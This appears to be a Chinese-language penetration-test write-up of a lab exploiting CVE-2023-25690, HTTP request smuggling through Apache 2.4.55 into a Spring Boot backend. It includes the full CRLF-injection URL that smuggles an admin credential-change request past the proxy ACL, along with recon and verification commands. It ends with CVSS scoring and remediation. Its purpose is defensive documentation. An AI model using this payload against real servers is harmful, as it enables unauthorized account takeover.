| 组件 | 角色 | 版本 |
|---|---|---|
| Apache HTTP Server | 反向代理 | 2.4.55(存在漏洞) |
| Spring Boot(内嵌 Tomcat) | 后端 API | 4.x(Java 21) |
| SQLite | 数据库 | — |
用户 ──► Apache :80(代理)──► Spring Boot :8080(后端)──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690:CRLF 未经过滤
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL:<Location "/admin"> 已阻止
POST /public/register:允许用户在数据库中注册
POST /public/login:通过验证输入的凭据允许登录,并发放会话令牌
GET /public/dashboard:用户专属区域
GET /api/status:接受参数“name”,是用于验证服务状态的示例端点
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}:这是一个理论上公众无法访问的路由,允许管理员修改用户数据
在渗透测试活动中,识别出暴露 Spring Boot 后端的反向代理基础设施中存在严重漏洞。Apache HTTP Server 2.4.55 版本受 CVE-2023-25690(HTTP 请求走私)漏洞影响,该漏洞允许攻击者绕过代理上实施的安全过滤器,直接访问未受保护的内部管理端点。
该攻击利用了 Apache RewriteRule 中缺乏对控制字符(CRLF)的过滤,允许在发往后端的合法请求参数中注入第二个 HTTP 请求。概念验证已证明可通过 /admin/edit/{id}/{newName}/{newPass} 端点未经授权修改数据库中的用户凭据,而该端点理论上受代理 ACL 保护。
建议:立即将 Apache HTTP Server 升级至 ≥ 2.4.56 版本,加强代理上的安全过滤器,并为所有敏感端点实施后端安全层(Spring Security)。
通过分析 HTTP 响应头识别 Apache 版本。
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
结果:服务器头信息显示 Apache/2.4.55。查询 CVE 数据库 → 与 CVE-2023-25690 匹配。
根据该 CVE,在此版本的 Apache 中,如果存在一条 RewriteRule 将来自代理请求的通用字符复制到后端目标 URL 中,则转录的文本不会被过滤,因此控制字符(如回车换行)也会通过。
例如: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // P 代表代理模式
因此,现在的目标是发现是否存在某个端点在代理层面执行这种转录。
从响应分析和应用行为中可以观察到,会话通过 JSESSIONID 管理,这确认了 Java Servlet 容器(如 Apache Tomcat、Jetty 或 WildFly)的使用。此外,对不存在端点的请求返回“Whitelabel Error Page”,表明后端运行的是 Spring Boot。
通过用于自动化字典模糊测试的 bash 脚本,已映射出网络中暴露的端点(推测为全部端点)。
结果:
由于
两者返回相同响应,可知它们指向同一后端端点。此外,由于类似 /service/x/y/z 的请求(很可能不存在)不会返回 404,可以推断原始端点接受的是参数而非路径变量。因此可以得出结论:对 /service/<service> 的请求通过 RewriteRule 转发到 Spring Boot 后端(正是我们要找的)。现在需要确定这条 RewriteRule 是否是宽松的,即使用类似 .* 的正则表达式,还是结构严谨的。
我尝试在请求中插入控制字符,以将合法内容与隐藏内容分离:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... 服务 'x' 运行正常且稳定。
我插入了一个自定义参数来验证 CRLF 是否被正确解析。
trash_header 的作用是封装 Apache 将添加到后端请求中的头部(这样它们将被解析为 X-Header 的普通文本,对 HTTP 请求而言不具有实际意义)。
通过后端容器中的 tcpdump,我得以拦截来自 Apache 的 HTTP 请求:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
后端看到如下请求:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
“控制字符已被控制”
响应表明,包含控制字符的部分已作为 HTTP 请求本身的结构顺利通过,而不仅仅是作为参数(因为后端捕获的名称仅为 'x')。因此,我们已设定了发往后端的 HTTP 请求格式,且代理已接受,这为真正的走私攻击载荷开辟了道路。
强制 Apache 反向代理向后端 Spring Boot 转发两个独立请求,使第二个请求到达 /admin/edit/ 端点,同时绕过 Apache 的 ACL 过滤器。
在此阶段,假设 localhost 和 spring-backend 分别是代理和服务器的公共地址。如果代理和后端位于同一网络(或组织)中,spring-backend 将是一个私有 IP(遗憾的是,这很难获知)。
漏洞存在于 RewriteRule 中:
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
代理将用户输入捕获到 $1 中,并将其插入查询字符串,未过滤控制字符(%20、%0d%0a)。后端(Tomcat)将这些字符解释为 URL 的终止和同一 TCP 套接字上新 HTTP 请求的开始。
A) GET /service/x → 合法部分;/service/ 之后的所有内容
进入 $1(name 参数)
B) %20HTTP/1.1 → [分割点] 空格提前终止
后端中的 URL
C) %0d%0aHost:...%0d%0a%0d%0a → [头部注入] CRLF 用于终止
第一个请求
D) POST /admin/edit/1/HACKED/PWNED → [走私请求] 隐藏的
恶意请求指向 admin 端点
E) %20HTTP/1.1 → 第二个请求的 HTTP 版本
F) %0d%0aContent-Length:%200 → POST 的空请求体
%0d%0aConnection:%20close
%0d%0aX-Header:%20 → [头部吸收器] 吸收 Apache
自动添加的头部
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost
Apache 看到的(单个请求):
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost
后端接收到的(同一套接字上的两个请求):
--- 请求 1(合法,但被“截断”)---
GET /api/status?name=x HTTP/1.1
Host: spring-backend
--- 请求 2(走私)---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:
>> ... HTTP/1.1 200 ... 服务 'x' 运行正常且稳定。
ID 为 1 的用户已被重命名为 HACKED,密码为 PWNED — 完全绕过代理的 ACL。
直接访问数据库进行确认:
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
1|HACKED|PWNED
| ID | 描述 |
|---|---|
| CVE-2023-25690 | Apache HTTP Server 通过 mod_proxy 与 RewriteRule/ProxyPassMatch 实现 HTTP 请求走私 |
| CWE-444 | HTTP 请求的不一致解析('HTTP 请求/响应走私') |
| CWE-113 | HTTP 头中 CRLF 序列的不当中和('HTTP 响应拆分') |
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
基础评分:10.0(严重)— AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| 指标 | 值 | 描述 |
|---|---|---|
| 利用代码成熟度(E) |
时间评分:9.3(高)
环境评分:8.0(高)
向量字符串:AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H
综合评分:8.0 — 高
将 Apache HTTP Server 升级至 ≥ 2.4.56 版本,该版本在服务器核心层面强制对带有 [P] 标志的 RewriteRule 中的控制字符进行过滤。
| 当前版本 | 目标版本 | 修复 |
|---|---|---|
| 2.4.55 | 2.4.56+ | mod_proxy 中自动过滤 CRLF |
在 pom.xml 中添加 spring-boot-starter-security:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
配置保护管理端点的 SecurityFilterChain:
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/api/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
return http.build();
}
}
对所有端点接受的参数(查询字符串、路径变量、表单数据)添加检查:
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
@PathVariable Long id,
@PathVariable @NotBlank String newName,
@PathVariable @NotBlank String newPass,
HttpSession session) {
// 验证用户是否具有 ADMIN 角色
User loggedUser = (User) session.getAttribute("LOGGED_USER");
if (loggedUser == null || !loggedUser.hasAdminRole()) {
return "访问被拒绝";
}
// ... 仅在认证检查后允许操作
}
| 端点 | HTTP 状态码 | 方法 | 参数 |
|---|
| admin | 403 | GET | (无参数) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (无参数) |
| public/logout | 200 | GET | (无参数) |
| api/status | 200 | GET | (无参数) |
| service/* | 200 | GET | (无参数) |
| 端点 | 方法 | 访问权限 | 备注 |
|---|
/public/register | POST | 公共 | 用户注册 |
/public/login | POST | 公共 | 登录,发放 JSESSIONID |
/public/dashboard | GET | 已认证 | 专属区域 |
/public/logout | GET | 公共 | 销毁会话 |
/api/status?name= | GET | 公共 | 健康检查 |
/service/{param} | GET | 公共 | 易受攻击的网关($1 在查询字符串中) |
/admin/edit/{id}/{n}/{p} | POST | 受保护(ACL) | 修改用户凭据 |
/admin/ | * | 已阻止(403) | Apache ACL |
| 指标 | 值 | 描述 |
|---|
| 攻击向量(AV) | N(网络) | 可从远程网络访问 |
| 攻击复杂度(AC) | L(低) | 无特殊条件 |
| 所需权限(PR) | N(无) | 无需认证 |
| 用户交互(UI) | N(无) | 不需要受害者交互 |
| 影响范围(S) | C(已变更) | 受影响组件与受损组件不同 |
| 机密性(C) | H(高) | 可访问受保护的端点 |
| 完整性(I) | H(高) | 可修改数据库中的用户数据 |
| 可用性(A) | H(高) | 可能导致代理缓存投毒 / 套接字污染 |
| F(存在功能性利用代码) |
| 可利用的漏洞 |
| 修复级别(RL) | O(官方修复) | 在后续 Apache 版本中已修复该缺陷 |
| 报告可信度(RC) | C(已确认) | 漏洞已确认并记录在案 |
| 指标 | 值 | 描述 |
|---|
| 攻击向量(MAV) | N(网络) | 代理暴露于互联网 |
| 攻击复杂度(MAC) | H(高) | 需要了解内部端点结构 |
| 所需权限(MPR) | L(低) | 无需任何类型的权限 |
| 用户交互(MUI) | N(无) | 无需外部用户交互 |
| 影响范围(MS) | C(已变更) | 通过一个系统入侵另一个系统 |
| 影响指标(MC/MI/MA) | H/H/H | 最大损害(修改数据库中的数据) |
| CIA 要求(CR/IR/AR) | H/H/H | 关键系统(用户登录) |